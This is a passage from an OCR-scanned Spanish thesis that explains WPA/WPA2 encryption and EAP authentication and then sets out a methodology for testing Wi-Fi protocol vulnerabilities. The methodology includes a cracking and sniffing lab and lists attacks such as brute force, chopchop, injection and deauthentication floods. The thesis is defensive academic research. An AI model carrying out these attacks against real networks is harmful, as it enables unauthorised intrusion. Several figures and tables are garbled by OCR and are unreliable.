
1. Se desencapsula el IV, el IV ext, la direccion de destino que son concatenados
con la clave PTK.

2. La cadena resultante es introducida como entrada al algoritmo PNRG
generando la clave de cifrado de paquete.

3. A continuacion se procede a realizar la XOR entre los datos encriptados y la
clave de cifrado calculada anteriormente.

4. La salida del punto anterior genera los datos en claro, a los cuales se les aplica

“Michael” para comprobar su integridad.

" Documento de IEE 802.11 wireless security de :Messhnet.microsoft.com/es-
ecl/library/bb878126%28en-us%29.aspx
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802 11 header | ‘ IV |-'lr'1:'[ Ext IV | Data I MIc | Icv | |”‘?- 11 railer

IV, DA, Data encryption key

v

Key
‘ mixing ‘ ‘ DA+SA+Priority+Data, Data integrity key

1
N,IF'at-packat encryption key

| Michael
/

e e

pEMG | | —® Key stream '—I—' Encrypted[Data +MIC+ICV]
(XOR)

Figura 7. Desencriptacion trama 802.11 mediante WPA®

2.5.3 Protocolo WPA2

2.5.3.1 Definicién

La alianza Wi-Fi lanzé en septiembre de 2004 el protocolo de seguridad WPA2, que
suponia ser la version certificada interoperable de la especificacion completa del
estandar IEEE802.11i, que fue ratificado en junio de 2004. Para llevar a cabo la
certificacion se basa en las condiciones obligatorias de la ultima version del estandar
IEEE802.11i. WPA2 es, por tanto, la implementacion aprobada por la Wi-Fi Alliance

interoperable con el estdndar IEEE802.11..

Aungue los productos WPA siguen siendo seguros, afirmacion que discutiremos en el
andlisis posterior, muchas organizaciones han estado buscando una tecnologia
interoperable y certificada basada en el estandar IEEE802.11i o han requerido del

cifrado de AES por razones internas o reguladoras. WPA2 resuelve estas

8 Documento de IEE 802.11 wireless security de :Messhnet.microsoft.com/es-
ecl/library/bb878126%28en-us%29.aspx
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necesidades, basdndose en su predecesor WPA (con el que es completamente
compatible hacia atras) y ha sido especificamente disefiado para cumplir los requisitos

mas exigentes de entornos empresariales.

IEEE802.11i y WPA2 son virtualmente idénticos, siendo las diferencias entre ambos
minimas [10]. Ambos emplean como codigo de cifrado AES/CCMP en lugar de

RC4/TKIP usado en WPA. A su vez existen dos desviaciones principales:

1. WPA2 permite funcionar en modo mixto con TKIP y CCMP para su
compatibilidad hacia atrds con WPA.

2. WPA2 carece de ciertos aspectos definidos por IEEE802.11i en cuanto a
servicios de voz inalambricos utilizados para prevenir la latencia de la sefial o

la perdida de informacion durante el roaming.

En cuanto a su relacibn con WPA, la principal las diferencias de WPA2 respecto a
WPA es que emplea, al igual que IEEE802.11i un mecanismo de cifrado mas
avanzado como AES. No obstante, WPA2 es compatible con WPA. Por ello, alguno s
productos WPA pueden ser actualizados a WPA2 por software. Otros en cambio,
requieren de un cambio en el hardware debido a la naturaleza de cdmputo intensiva

del cifrado requerido para WPA2, AES.

Por otro lado, al igual que WPA, WPA2 permite dos modos de llevar a cabo la
autenticacion segun si el &mbito de aplicacion es empresarial (IEEE802.1X/EAP) o
personal (PSK). Actualmente el IEEE y la Wi-Fi Alliance estan intentando unificar

WPA2 y IEEE802.11i.

2.5.3.2 Autenticacion

Como se ha comentado anteriormente WPAZ2 utiliza los protocolos de autenticacion

definidos por el IEEEB02.11i y descritos anteriormente para el protocolo WPA.
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2.5.3.3 Cifrado

El proceso de cifrado de la informacién se realiza mediante lo establecido por el
estandar IEEE802.11i y ya visto en la seccion de WPA. Como ya se ha comentado
anteriormente la principal diferencia entre WPA y WPA2 es la mejora de su algoritmo
de cifrado. El ya utilizado por WEP y WPA RC4 es sustituido por AES, un cifrado de
bloques de clave simétrica que utiliza grupos de bits de una longitud fija. Un algoritmo
de clave simétrica significa que utiliza la misma clave maestra tanto para cifrar como

para descifrar los datos.

WPA2 claves temporales

A diferencia de WEP, que utiliza una anica clave de cifrado de datos unicast y por lo
general una clave diferente para multicast y broadcast encriptacion de datos, WPA2
utiliza un conjunto de cuatro claves distintas para cada cliente inalambrico
inalambricos par de AP (conocido como las claves temporales por pares) y un juego

de dos llaves diferentes para el trafico multicast y broadcast.

El conjunto de claves unicast pares utilizado para datos y EAP sobre LAN (EAPOL)-

Key mensajes consisten en lo siguiente:

* Los datos clave de cifrado Una clave de 128 bits que se utiliza para el cifrado de
tramas unicast.

e Los datos clave de integridad de una clave de 128 bits que se utiliza para
calcular el MIC de tramas unicast.

« EAPOL-Key clave de cifrado de una clave de 128 bits utilizada para cifrar los
mensajes EAPOL-Key.

« EAPOL-Key integridad de claves Una clave de 128 bits que se utiliza para

calcular el MIC de EAPOL-Key mensajes.
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WPAZ2 deriva las claves pares temporal mediante un proceso de 4-Way Handshake

que es lo mismo que WPA.

WPA2 cifrado y descifrado

AES CCMP utiliza CBC-MAC para calcular el MIC y el modo contador de AES para
cifrar la carga 802.11 y el MIC. Para calcular un valor de MIC, AES CBC-MAC utiliza el

siguiente proceso:

e Cifrar una partida de 128-bit AES con el blogue y la clave de la integridad de
datos. Esto produce un resultado de 128 bits (Resultl).

* Realizar una operacion OR exclusivo (XOR) entre Resultl y los proximos 128
bits de los datos sobre los cuales se calcula el MIC. Esto produce un resultado
de 128 bits (XResultl).

« XResultl cifrar con AES y la clave de la integridad de datos. Esto produce
Result2.

¢ Realizar un XOR entre Result2 y los proximos 128 bits de los datos. Esto

produce XResult2.

Para cifrar un marco de datos unicast, WPA2 utiliza el siguiente proceso:

1. La entrada del bloque de salida, 802.11 MAC cabecera, encabezado CCMP, la
longitud de los datos, y los campos de relleno en el algoritmo CBC-MAC con la

clave de la integridad de datos para producir el MIC.

2. Introduzca el valor inicial del contador y la combinacion de los datos con el MIC
calculado en el algoritmo de cifrado AES contra el modo con la clave de cifrado de

datos para obtener los datos cifrados y MIC.

3. Agregar el encabezado CCMP que contiene el nimero de paquetes a la parte
cifrada de la carga 802.11 y encapsular el resultado con el encabezado 802.11 y el
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remolque. La figura 16 muestra el proceso de encriptacion WPA2 para una trama de

datos unicast.

Para descifrar una trama de datos unicast y verificar la integridad de los datos, WPA2

utiliza el siguiente proceso:

e Determinar el valor inicial de contador de los valores en los 802.11 y los

encabezados de CCMP.

* Introduzca el valor inicial del contador y la parte cifrada de la carga 802.11 en el
contador de AES algoritmo de descifrado modo con la clave de cifrado de datos
para obtener los datos descifrados y MIC. Para el descifrado, AES contra el
modo XOR el valor cifrado contador con el bloque de datos encriptados, que

produce el bloque de datos descifrados.

Starting block | MAC header | CCMP header | Padding | Data | Padding ‘

'

CBC-
MAC

. AESICounter
Starting counter value, Data+MIC mode
encryption

80211 header‘ ‘ COMP [with Packat Nurnber) | Deta ‘ MIC ‘ ‘802.11 trailer

|4 Encrypted »

4 Authenticated =|

|<— 802.11 frame payload >

80211 frame B

Figura 8. Encriptacion trama 802.11 mediante WPA2.°

° Documento de IEE 802.11 wireless security de :#igghnet.microsoft.com/en-
us/library/bh878096.aspx

42



e La entrada del bloque de salida, 802.11 MAC cabecera, encabezado CCMP, la
longitud de los datos, y los campos de relleno en el AES CBC-MAC algoritmo de

la clave de la integridad de datos para calcular el MIC.

* Compare el valor calculado del MIC con el valor de la MIC sin cifrar. Si los
valores de MIC no coinciden, WPA2 descarta silenciosamente los datos. Si el
partido MIC valores, WPA2, pasa los datos a las capas de red superiores para

Su procesamiento.

La figura 9 muestra el proceso de descifrado WPA2 para una trama de datos unicast.

|802.11 neader| | COMP with Packet Nurmber) | Deta | mic | 502 11 railer
. x AES/Counter
Starting counter value, Encrypted[Data+MIC]— mode
decryption
‘ Data ‘ MIC ‘
Fy
CBC-
’ WMAC
Starting block | MAC header | CCMWP header ‘ Padding ‘ Data | Padding ‘

Figura 9. Desencriptacion trama 802.11 mediante WPA2™

2.6 Protocolos de Autenticacion

2.6.1 Estandar IEEE 802.1X

IEEE 802.1X es un estandar del IEEE de control de acceso basado en puertos, este

define tres entidades:

% Documento de IEE 802.11 wireless security de :Migshnet.microsoft.com/en-
us/library/bh878096.aspx
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» El solicitante o supplicant: Es el usuario que quiere ser autenticado.

« El autenticador (NAS): Es el punto de acceso, controla el acceso fisico a la red
basado en el estado de la autenticacion del cliente.

e El servidor de autenticacién (AS): Para dicho proyecto es el servidor Radius
(Remote Authentication Dial-in User Service). Realiza la autenticacion,

permitiendo o denegando el acceso a la red.

El estdndar 802.1X trabaja con el concepto del puerto habilitado/inhabilitado. En la
siguiente figural0 se puede ver un esquema de su funcionamiento. La estacion
solicitante y el autenticador intercambian informacion a través de un puerto
descontrolado. El puerto controlado se encuentra bloqueado para el trafico de datos
hasta que el proceso de autenticacibn se completa correctamente sobre el puerto

descontrolado.

S
Vi Red cableada Red cableada
Puerto no Puerto

autorlzado autorlzado

(" ()

—L {S — [5

; AP AP
Solicitante NAS NAS

Figura 10. Esquema de puerto habilitado/inhabilitado 802.1X

Asi, mediante IEEE 802.1x se autentica en un puerto que no se utiliza para posteriores
conexiones. La estacion solicitante no puede transmitir datos hasta que se haya

completado el proceso de autenticacion [5].

Y hitp:/lwww.ieee802.org/1/pages/802.1x-2004.html
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2.6.2 El protocolo EAP

El protocolo 802.1X precisa del protocolo EAP* (Extensible Authentication Protocol),
ya que éste es un protocolo de transporte, no de autenticacion, tal y como se puede
ver en la figura 19. En ella se muestran los diferentes tipos de protocolos de
autenticacion a un nivel superior y por debajo (nivel 2 del modelo OSI) utiliza el
protocolo 802.1X. Con esto se puede llegar a conseguir que no asigne direccién IP a
un equipo solicitante hasta que éste realmente no se autentique. Actualmente, se

pueden diferenciar hasta tres grandes tipos de autenticacion:

» Los métodos basados en claves compartidas.
« Los métodos basados en certificados u otros sistemas de claves no compartidas.

* Los métodos basados en caracteristicas fisicas.

PAP

CHAP
EAP
EAP

MD5 TLS TTLS PEAP MS-CHAPVZ2

EAP

802.1X

PPP 802.11

Figura 11. Protocolo EAP*

2.6.3 Fases de la autenticacién completa

En este proyecto se ha dividido la autenticacion completa en cuatro fases:

e Autenticacién abierta: Se utilizan dos mensajes para realizar esta fase, utiliza

el protocolo de autentificacién por defecto en el estandar IEEE 802.11, en el

2 hitp:/lwww.ietf.org/rfc/rfc3748.txt
3 pellejero, I., Andreu, F., Lesta, A., (2006) “Redes WLAN, fundamentos y aplicaciones de
seguridad”. pag. 63
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cual cualquiera que quiera entrar a la red se puede autentificar sin ningdn
impedimento.

e Asociacion: Es la parte donde se describen las velocidades que se van a
utilizar en el medio, los requerimientos de administracion de energia, etc. Para
esta fase se intercambian dos mensajes entre el AP y el solicitante.

* |EEE 802.1X-EAP: En esta parte entra en juego el servidor de autenticacion, es
donde se autentica el solicitante con los diferentes protocolos que utilizan el
IEEE 802.1X-EAP.

« 4Way-Handshake: Utiliza 4 mensajes entre el punto de acceso y el solicitante.
En el intercambio calculan e instalan las claves de integridad y encriptacion
para el transporte seguro de tréfico, en el anexo B.1 se explica con mas detalle

este punto.

Autenticacion completa

" & Preautenticacion
) !f' 5 |:. :, F_)"'\\.
Is ﬁ R
K T
Salicinnla AP Servidor Ak P AP Seryidor AL
s hylenicati ES 2 e nticacion—
ka " 4 acia =
n B02 18-EAP s —Accos - Ren — -—dWay-Handshake—
1
1]
| i-EAF gl -
fa—AWay-Handshake—m

Figura 12 . Fases de autenticacién completa y Fases de pre-autenticacion

En la figura se puede observar las cuatro fases en la autenticacion completa. También
se describe la pre-autenticacion, que se aplica en el traspaso entre puntos de acceso.

Una estacion puede pre-autenticarse, es decir, iniciar un proceso de autenticacion
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IEEE 802.1x-EAP mientras todavia esta asociado a un AP, y guardarse la clave en

memoria para cambiar de punto de acceso cuando lo crea oportuno.

Asi, cuando la estacion realice el traspaso, s6lo sera necesario completar la

asociacion, la autenticacion abierta y el 4Way-Handshake.

2.6.4 EAP-TLS

EAP-TLS™ (es un estandar “de facto” que est4d basado en SSL y en certificados
X.509). El solicitante debe tener un certificado que el servidor de autenticacién pueda
validar. Asi mismo, el servidor debe presentar un certificado al solicitante que también

tendra que validar, figura 21.

Solicitante AP Sewic;;}mﬁ\

R Acres - Chan ERpe-

B

Figura 13. Intercambio de mensajes EAP-TLS

1 http://www.ietf.org/rfc/rfc5216.txt
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El solicitante, para lograr autenticarse a una red en primer lugar debe asociarse al AP
y realizar la autenticacion abierta, una vez hecho dicho paso, el AP tiene que enviar un
mensaje de identidad, con el que el solicitante tiene que responder envidndole su
mensaje de identidad. El AP se lo hace llegar al servidor de autenticacion y este indica

que se puede empezar la autenticacion.

Seguidamente, el solicitante envia dentro del paquete “client hello” los métodos de
autenticacion que puede realizar (TLS, TTLS...), el AP se lo hace llegar al servidor de
autenticacion y este le contesta con el que va utilizar. El servidor de autenticacion
envia su certificado al solicitante (este punto no se aplica en la practica) y pide el

certificado del solicitante.

Después, el solicitante valida el certificado del servidor y como parte del
“EAPResponse” ofrece su certificado y comienza la negociacion de especificaciones
algoritmicas. Por dltimo, el servidor RADIUS valida el certificado del cliente, es cuando

entra en juego el 4Way-Handshake

2.6.5 EAP -PEAP

El protocolo PEAP*®, es un protocolo creado por Microsoft, Cisco y RSA Security. Se
establece un tunel TLS a través del cual se procede a la autenticacion con
MSCHAPV2. El servidor puede utilizar certificacion, aunque esta no es obligatoria en

el draft.

A la hora de analizar el protocolo, se puede ver que el NAS envia el primer paquete
con su identidad, el solicitante le contesta. EI NAS hace de pasarela entre éste y el
servidor de autenticacion. Al igual que con el protocolo TLS, ambas partes se
intercambian los métodos de autenticacion. Una vez el servidor le indica que utiliza

PEAP, se crea el tunel seguro, el cliente y el servidor se autentican mutuamente con el

'3 hitp://tools.ietf.org/html/draft-josefsson-pppext-eap-tls-eap-01
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método de autenticacion MSCHAPV2. Una vez ambas partes se han autenticado

empieza el 4Way-Handshake. Esta cronologia se puede ver en la figura 22.

Figura 14. Intercambio de mensajes EAP-PEAP

2.6.6 EAP-TTLS

EAP-TTLS™ es una extension de EAP-TLS, fue desarrollado por Funk y Certicom. La
autenticacion EAP-TTLS usa certificados para autenticar el lado de la red. Por otro
lado, emplea una manera menos compleja de autenticar el lado del solicitante,
eliminando de esta manera la necesidad de configurar certificados en cada cliente
WLAN. Establece un tunel seguro TLS para autenticar al cliente mediante otros

protocolos de autenticacion como PAP (Password Authentication Protocol), CHAP

18 http://tools.ietf.org/html/draft-funk-eap-ttls-v0-05
49



(Challenge Handshake Authentication Protocol), MSCHAP (Microsoft CHAP) o

MSCHAPV2 (Microsoft CHAPV2).
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Figura 15 . Intercambio de mensajes EAP-TTLS

En la figura24 se muestra el proceso de autenticacion del protocolo EAP-TTLS, al igual
que pasa con el anterior, esta autenticacién consta de dos partes, una sin el tinel
seguro y la segunda con un tunel seguro. También se muestra la cronologia de
mensajes con el protocolo TTLS y utilizando el protocolo MSCHAPV2 (izquierda) y con
el PAP, CHAP o MSCHAP (derecha). Como se puede ver, el protocolo MSCHAPV2,

precisa de dos mensajes mas que los otros.

La primera fase comienza cuando el autenticador envia un mensaje “EAPRequest-
Identity” al solicitante, y éste le responde con un mensaje “EAPResponse- Identity” con
la identidad vacia (la identidad es solo enviada cuando el tunel TLS esta establecido).
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Después, el handshake TLS toma lugar, y como resultado de él, el servidor es
autenticado y se establece un tlnel seguro. En este punto, la segunda fase comienza
a autenticar al cliente, con otro método de autenticacion a través del tunel establecido
(como se ha comentado anteriormente puede ser un método como PAP, CHAP,
MSCHAP, o MSCHAPV2, o algin otro método EAP como EAP-MD5). Una vez
autenticado y después de que el servidor dé el visto bueno, empieza el 4Way-

Handshake.

2.6.7 EAP - LEAP

LEAP fue desarrollado por Cisco Systems, est4d basado en EAPMD5. Autentica el
servidor y el cliente mediante un secreto compartido (PSK) usando MSCHAPV2.
Encripta la transmision de datos usando claves WEP dinamicas. Las claves de sesion

son Unicas para los usuarios y no compartidas entre ellos.

El servidor envia un desafio al cliente remoto que consiste en un identificador de
sesion y una cadena de caracteres. El cliente envia una respuesta que contiene el
nombre de usuario, un desafio, una encriptacién del desafio recibido, el identificador
de sesion y la contrasefia del usuario. Una vez se tiene esto, el servidor revisa la
respuesta del cliente y envia de vuelta una respuesta que contiene un indicador de

aceptacion (success) o denegacion (failure) del intento de conexion.

Si es una aceptacion, el cliente se lo comunica al servidor, entonces el servidor, envia
una respuesta de autenticacion basada en el desafio enviado, el desafio del cliente, la
respuesta encriptada del cliente y la contrasefia del usuario. Por ultimo, el cliente

verifica la respuesta de autenticacion y realiza el 4Way-Handshake.
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Figura 16. Intercambio de mensajes EAP-LEAP

2.6.8 Otros protocolos de autenticacion

Existen otros métodos de autenticacion'’, los cuales se describen brevemente a

continuacion:

EAP-MD5: Es el método de autenticacion EAP mas antiguo y simple. No proporciona
autenticacion por parte del servidor. La autenticacion de la estacion solicitante se

realiza mediante la verificacion de la funcion MD5 Hash de la contrasefia de usuario.

EAP-OTC: Es un método parecido a MD5, pero basado en un sistema portatil de

generacion de claves instantaneas.

Y http:/iwww.ietf.org/rfc/rfc3748.txt
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EAP-GTC: Es un sistema para el uso de algunas tarjetas smartcard sobre protocolo

EAP. Se utiliza con dispositivos token mediante interfaz USB, serial o paralelo.

EAP-FAST (Flexible Authentication via Secure Tunneling): Mecanismo propuesto por
Cisco. Autentica el servidor y el cliente a partir de una clave compartida. Esta se utiliza

para establecer un tunel seguro y completar asi la autenticacion.

EAP-SIM (Subscriber Identity Module): Mecanismo para autenticacion mutua e
intercambio de claves utilizando el SIM de GSM. Este método requiere tener acceso a
la infraestructura de autenticacién del operador GSM asi como a la informacién de la

tarjeta SIM del usuario.

EAP-AKA (Authentication and Key Agreement: Siguiendo la misma filosofia que EAP-
SIM, EAP-AKA utiliza los mecanismos para autenticacion e intercambio de claves en

redes 3G (UMTS y CDMA2000).
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CAPITULO 1l

MATERIALES Y METODOS

3.1 Disefio de la investigacion

La presente investigacion se enmarca dentro de un estudio Cuasi-Experimental en
los cuales los sujetos o grupos de sujetos de estudio no estan asignados
aleatoriamente, es decir, los contenidos a ser enviados en el ambiente de pruebas no
seran tomados al azar, sino que se los tendra definidos antes de realizar dicho

ambiente por el investigador.

Ademas se manipula una variable independiente y evaluacion de su correspondiente
efecto en la variable dependiente. Su validez se alcanzara a medida que se demuestre
el acceso seguro en redes inalambricas WIFI, escogiendo la tecnologia adecuada en
funcion de las contramedidas frente al analisis comparativo de las vulnerabilidades de

los protocolos de proteccion y autenticacion.

3.2 Tipo de investigacion

En la investigacion se considera que el tipo de estudio que se va a realizar es una
investigacion descriptiva y aplicada , ya que se utilizard el conocimiento para
realizar un estudio comparativo de los protocolos de proteccion y autenticacién en
redes inalambricas, permitiendo encontrar la mejor tecnologia en el acceso seguro en

redes WIFI.

3.3 Métodos

Para este proyecto se utilizaran los siguientes métodos de investigacion.

Método Cientifico: Servira para recopilar la informacién necesaria para encontrar la

tecnologia adecuada a ser aplicada en el ambiente de pruebas a ser construido, ya
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gue las ideas, conceptos, y teorias expuestas en este anteproyecto de tesis son
verificables como validos. Se ha realizado las siguientes consideraciones para esta

investigacion:

« Se plantea la investigacion en base al problema de vulnerabilidad de los
protocolos de proteccion y autenticacion, para el acceso seguro de redes

inalambricas WIFI.

e  Se trazan los objetivos de la investigacion que permitirdn resolver problema de

vulnerabilidad, para el acceso seguro en redes inalambricas WIFI.

e Se justifican los motivos por los cuales se propone realizar la siguiente

investigacion.

e Se elabora un marco teérico que ayude a forjar una idea general para la

realizacion del trabajo de tesis, y asi tener un horizonte mas amplio.

e Se plantea una hipétesis la cual es una posible respuesta al problema

planteado y posee una intima relacion entre el problema y el objetivo.

e Se propone la operacionalizacion de las variables en base a la hipétesis

planteada.

e Se realiza la recoleccion de datos, y se observa el comportamiento del

ambiente de pruebas en el acceso seguro.

» Se realiza la prueba de la hipétesis con los resultados obtenidos.
e Se elabora las conclusiones y recomendaciones, producto de la investigacion

realizada.

Método Deductivo: debido que al estudiar los diferentes protocolos de encriptacion y

autenticacion en redes WIFI se tratara de encontrar una tecnologia de seguridad que
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contenga las mejores caracteristicas para el acceso seguro y no vulnerable de los

datos.

34 Técnicas

Se usara ciertas técnicas, entre ellas estan:

» Observacion
« Recopilacion de informacion.
* Analisis

* Pruebas

3.5 Fuentes de Informacioén

Revision de informacion de fuentes bibliograficas como:

e Textos

* Revistas

e Documentos
* RFC’s

» Estandares

e Oftros

3.6 Recursos

3.6.1 Recursos Humanos

Dentro de la parte humana intervienen:
e Ejecutor de la Tesis.
* El Tutor

« Miembros
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» Proveedores de Equipos

3.6.2 Recursos Materiales

* Hojas de Papel Bond
+ CD’s

* Flash Memory

» Bibliografia

* Libros

¢ Internet (meses)

3.6.3 Recursos Técnicos

Hardware

Tabla 1.Recursos Hardware

RECURSO CARACTERISTICA DESCRIPCION

Procesador Intel  PentiumlV A Computador dedicado a
Computador 2.2GHz ser el servidor de
Escritorio Memoria Ram 512GB Mb. autenticacion

Disco Duro 40 Gb.

Tarjeta fastethernet

Procesador Intel PIV 1.66GHZ Usuario comun de la red
Laptops Memoria Ram 1GB Mb. WIFI tanto para el modo
Disco Duro 40 Gb. personal como enterprise
DVDROM tarjeta compatible |EEE
802.11b/g
Laptops Procesador AMD TL-64 2.20GHZ | Destinado a la auditoria,
Memoria Ram 4GB Mb. scaneo, sniffing y crakeo
Disco Duro 250 Gb. de los protocolos
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Tarjeta Inaldmbrica

uUSB

Access Point

Impresora
Tx220

Software

Epson

DVDROM, Puertos usb2.0

Alfa Network AWUSO036H
Chipset reltec8187

Soporte modo monitor

Cisco WAP4410N

Soporte para

(WEP, WPA PSK/ENT ,WPA2
PSK/ENT y 802.1x EAP-TTLS)

Instalado con sistema de tinta

continua

* Sistema operativo Windows o Linux

+ Software editor de textos

* VMware con Live cds: Backtrack, wifislax, wifiway,

Tarjeta para el uso de las
herramientas inalambricas
bajo  Linux

IEEE 802.11b/g

compatible

Dispositivo inaldmbrico

destinado a funcionar
como Access Point en los

ambientes de prueba

Impresion del documento

de tesis

« Herramientas Wireless (auditoria, scaneo, sniffing y crakeo)

e Openssly Freeradius

e Mysql y Daloradius

* Software suplicante wpa_suplicant

Otros
» Bibliografia
e Internet
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3.7 Planteamiento de la Hipotesis

“El analisis de vulnerabilidades de protocolos de proteccion y autenticacion inalambrico

permitira escoger una tecnologia adecuada para el acceso seguro en redes wifi.”

3.8 Determinacion de las variables

Variable Independiente:

Variable Dependiente:

Andlisis de vulnerabilidades de protocolos de

proteccion y autenticacion inalambrico

Tecnologia adecuada para el acceso seguro en

redes Wifi.

3.9 Operacionalizacion Conceptual de variables

Tabla 2.Operacionalizacion Conceptual de variables

Analisis de vulnerabilidades de
protocolos de proteccion

autenticaciéon inaldmbrico

y Independiente

Estudio de las diversos
protocolos de  seguridad
existentes en redes wlan,

especificamente WIFI

Tecnologia adecuada para el

acceso seguro en redes Wifi

Dependiente

Seleccionar una tecnologia
que se adeclUe mejor contra
los ataques y permita tener

accesos seguros.
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HIPOTESIS VARIABLES INDICADORES INDICES TECNICAS

El analisis de
vulnerabilidades de
protocolos de
proteccién y
autenticacion

inaldmbrico  permitird

escoger una tecnologia
adecuada para el
acceso  seguro en
redes Wifi.

3.10 Operacionalizacién Metodolégica de variables

Tabla 3. Operacionalizacion Metodoldgica de variables

V. Independiente

Analisis de
vulnerabilidades de

protocolos de proteccion y

autenticacién inalambrico

Numero de protocolos de

®* Protocolos proteccion y Observacion
autenticacién inalambrico = Proteccion. Y autenticacion
existentes para redes Recopilacién
WIF de informacion.
Algoritmo con generacion de cifrado Observacién
pseudoaleatoria
Susceptible tamafio del algoritmo de Recopilacion
) cifrado de informacion
e Cifrado
Tamafio del VI corto Analisis.
Reutilizacion del VI
Envio del VI texto plano
Falta Integridad de la cabecera Observacién
*  Mecanismos de entrega Mecanismo de integridad B
9 independiente de llave y VI Recopilacion

de datos

Mecanismo integridad de forma
lineal

de informacioén

Analisis.
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El analisis
vulnerabilidades

protocolos
proteccion
autenticacion
inalambrico

de
de
de

y

permitira

escoger una tecnologia

adecuada
acceso
redes Wifi.

seguro

el
en

V. Independiente

Analisis de
vulnerabilidades de
protocolos de proteccion y
autenticacién inalambrico

V. Dependiente

Tecnologia adecuada
para el acceso seguro de
datos en redes Wifi

Autorizacion

Aplicabilidad

Confidencialidad

Integridad

No existe Preautenticacion
Distribucion manual de clave
Autenticacion basada en maquina
Permite desasociacion

Insercion de Trafico

El uso de la tecnologia esta
permitido y regulado en el Ecuador

Existencia de productos en el pais

Algoritmo de cifrado mejorado
Tamafio de algoritmo de cifrado
Cifrado generado dinamicamente

VI cifrado y mejorado

Integridad de la cabecera
Integridad cifrada

Integridad dependiente de la llave y
VI

Observaciéon

Recopilacién
de informacién

Anélisis

Observacion

Recopilacién
de informacién

Analisis

Observacion

Analisis

Pruebas

Observacion

Andlisis

Pruebas
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El analisis de
vulnerabilidades de
protocolos de
proteccion y
autenticacion

inalambrico  permitird

escoger una tecnologia
adecuada para el
acceso  seguro  en
redes Wifi.

V. Dependiente

Tecnologia adecuada
para el acceso seguro de
datos en redes Wifi

Disponibilidad

Autentificacion

Evita desasociacion

Excluye la insercion de tréafico

Soporta  negociacion de  pre-
autenticacion

Distribucion automatica de clave
Autenticacion de usuario
Permite autenticaciéon mutua

Uso de protocolos de autenticacion

Observaciéon

Analisis

Pruebas

Observacion

Analisis

Pruebas
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3.11 Poblacién y Muestra

La poblacion es el conjunto de todos los elementos que pueden ser evaluados, en la
presente investigacion resulta no muy adecuado tomar en cuenta las soluciones
propietarias sean en hardware o software ya que se trata de averiguar las posibles
falencias de los protocolos independientes de la marca o tecnologia. Con esto en

mente se definira dos aspectos para su desarrollo:

« Protocolos seguridad wireless

* Vulnerabilidades Existentes

Protocolos seguridad wireless

Los protocolos de proteccién y autenticacion usados en las redes WIFI la conforman
WEP, WPA y WPA2, los que son apropiados y convenientes para los fines de esta
investigacion. Esta poblacion se seleccion6 basandose de dos fuentes: la
Organizacion de estandarizacién IEEE seccién 802.11 (wireless) y la organizacion

global Wi-Fi-Alliance.

Tabla 4. Poblacion de protocolos de proteccién y autenticacién wireless

PROTOCOLOS DE SEGURIDAD

S O
64/128 bits - ENTERPRISE - ENTERPRISE

Cifrado WEP TKIP CCPM

Autenticacion 802.1X-EAP( LEAP, 802.1X-EAP( LEAP,
TLS, PEAP, SIM, TLS, PEAP, SIM,
TTLS) TTLS)

Se ha determinado la utilizacibn de una muestra no aleatoria ya que los elementos

representativos estan determinados a juicio del investigador. Cabe recalcar que del

63



conjunto de protocolos EAP en redes wireless seleccionamos el protocolo EAP/TTLS y

descartamos el resto, las razones las detallamos a continuacion:

 TTLS: No se restringe ni el hardware ni al software. Es compatible con
Freeradius y como el desarrollo de la presente investigacion es libre
(GNU/Opensource) es el mas adecuado .Los certificados usado para la
autenticacion de usuario no requiere licenciamiento usamos OpenSSL que
también es open source. Con esta perspectiva queda dentro del andlisis de

este trabajo

» LEAP es de Cisco, PEAP y TLS Microsoft y SIM solucion especializada en

hardware Con esta perspectiva queda dentro del analisis de este trabajo.

Con lo ya dicho evaluamos los protocolos WEP, WPA y WPA2 (ambos en su modo
personal y empresarial) y el protocolo de autenticacion EAP/TTLS como se muestra en

la tabla siguiente:

Tabla 5. Muestra de protocolos de proteccion y autenticacion a estudiar

PROTOCOLOS DE SEGURIDAD

e
64/128 bits ENTERPRISE ENTERPRISE
WEP

Cifrado TKIP CCPM

Autenticacion 802.1X-EAP/TTLS 802.1X-EAP/TTLS

Vulnerabilidades Existentes

La seguridad en los protocolos de proteccion y autenticacion estan dictados por los
principios de la seguridad que son: Confidencialidad, Integridad, Autenticacion y
Disponibilidad , mismos que al ser quebrantados generan vulnerabilidades (a la que se

asocia un ataque) los que son apropiados y convenientes para los fines de esta
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investigacion. Esta poblacion se seleccioné basandose en los documentos de la NIST
(Nacional Institute of Standar and Techology)con respecto a la seguridad en redes

IEEE 802.11 - [18][19][22].

Tabla 6. Poblacion de Vulnerabilidades de protocolos wireless

Confidencialidad Espionaje, Clave WEP, Evil Twin AP, AP Phishing, Hombre en el
medio. ataque de contrasefias (fuerza bruta/ diccionario) Induccion
chopchop, ataque estadistico

Integridad Fragmentacion 802,11 marco de inyeccion, 802,11 datos Replay,
802.1X EAP Replay

Autenticacion Shared Key Adivinar, PSK Cracking, Robo de aplicacién Login,
Inicio de sesién de dominio Cracking, VPN Login Cracking 802.1X
robo de identidad, Adivinar contrasefia LEAP 802.1x,
Cracking802.1X, fragmentacion e inyeccién.)

Disponibilidad AP robo, Queensland denegacion de servicio, 802.11 Beacon
inundaciones, 802,11 Asociado / Autenticar las inundaciones,
802,11 TKIP Exploit MIC, 802,11 desautentificacién inundaciones,
802.1X EAP-Start de inundaciones, 802.1X EAP-Failure

Se ha determinado la utilizacion de una muestra no aleatoria. Se debe tener en cuenta
que la falla a un principio indistintamente con que ataque se realiza es una
vulnerabilidad a un principio, es decir, muchos de ellos hacen ataques basandose en
los resultados de otros o son los mismos ataques pero con pequefias

particularizaciones.

Por este motivo se escogieron 6 ataques ( tabla 7) que son los suficientes y
necesarios al vulnerar un principio de seguridad. Ademas que su implementacion va
de la mano con los requerimientos hardware y software previstos en esta

investigacion.
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Tabla 7. Muestra de Vulnerabilidades de protocolos inalambricos a estudiar

Principios Vulnerabilidad / Ataques

ataque de contrasefias (fuerza bruta/ diccionario) Induccién

Confidencialidad chopchop, ataque estadistico

Ataque de fragmentacién e inyeccién

Integridad

Ataque de fragmentacién e inyeccion, y ataque de contrasefias
Autenticacion (fuerza bruta/ diccionario)
Disponibilidad Denegacion de servicio, desautentificacion inundaciones,

3.12 Instrumentos de recoleccién de datos

De acuerdo a la naturaleza de la investigacion, los instrumentos méas idoneos para la
recoleccion de los datos fueron las guias de observacion, estandares y documentos
técnicos (RFC’s y publicaciones de la NIST), con esto se pudo establecer los
parametros de comparacion para realizar el analisis de los protocolos de proteccion y
autenticacion inalambricos que dara como resultado las vulnerabilidades de dichos

protocolos en redes inalambricas 802.11b.

Luego de haber reconocido a profundidad las vulnerabilidades se medira las
contramedidas frente a ataques asociados a dichas vulnerabilidades, mediante
